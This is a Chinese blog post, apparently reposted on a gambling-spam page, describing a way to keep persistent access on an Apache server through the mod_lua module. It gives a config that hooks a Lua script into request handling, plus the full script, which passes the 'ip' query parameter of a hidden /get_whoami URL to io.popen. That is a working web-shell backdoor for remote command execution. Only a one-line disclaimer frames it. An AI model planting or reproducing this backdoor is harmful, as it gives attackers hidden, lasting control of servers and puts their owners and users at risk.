摩登娱乐利用Apache Nginx 的lua 模块的鸡肋权限维持的方法_HUC惠仲娱乐

摩登娱乐

利用IIS的端口共享功能绕过防火墙

看了嘶吼的这篇文章,稍微思考了一下。是否Nginx 或者Apahce 是否存在这种方式。

Nginx 和apache 作为全球使用最多的两个WEB容器。是支持模块化的一个方式建立中间件的

例如 Nginx_lua 的防火墙就是一个最好的案例。

那么如果利用这种方式做一个权限控制呢。

下载做一个实验吧,此文只是给大家一个思考的,并不建议实际运用中

实验服务器Centos 7.4

WEB容器Apache 2.4.39

服务器面板:宝塔面板6.9

首先安装一下 Apache 2.4.39

只所以选择这个,因为默认安装了一个lua 模块
为了方便一点

从配置文件中发现。调用的是这个地址的一个.conf 文件。
新建一个文件如下:

LoadModule lua_module modules/mod_lua.so LuaPackagePath /test/?.lua LuaCodeCache forever LuaHookAccessChecker /test/test.lua get late LuaInputFilter post_filter /test/test.lua post SetInputFilter post 

test.lua 如下:

require 'apache2' function return_message(status,msg)     httpd.content_type = "application/json;charset=utf-8"     httpd.status = status     httpd:write(msg)     return apache2.DONE end  function get_return_state(rstate,rmsg)     result = {}     result['status'] = rstate     result['msg'] = rmsg     return result end  function get_whami()     if not uri_request_args['ip']  then return get_return_state(true,'格式错误') end     data=io.popen(uri_request_args['ip'])     return data:read("*all") end  function min_route()     if httpd.uri == '/get_whoami' then         return_message(200,get_whami())         return true     else         return false     end end  function get(request_httpd)     httpd = request_httpd     uri_request_args = httpd:parseargs();     if min_route() then return apache2.DONE end     return apache2.DECLINED end function post(request_httpd)     httpd = request_httpd     if min_route() then return apache2.DONE end     return apache2.DECLINED end 

重启一下apache
访问一下

Nginx的话。也是一样的原理,具体的就不操作了。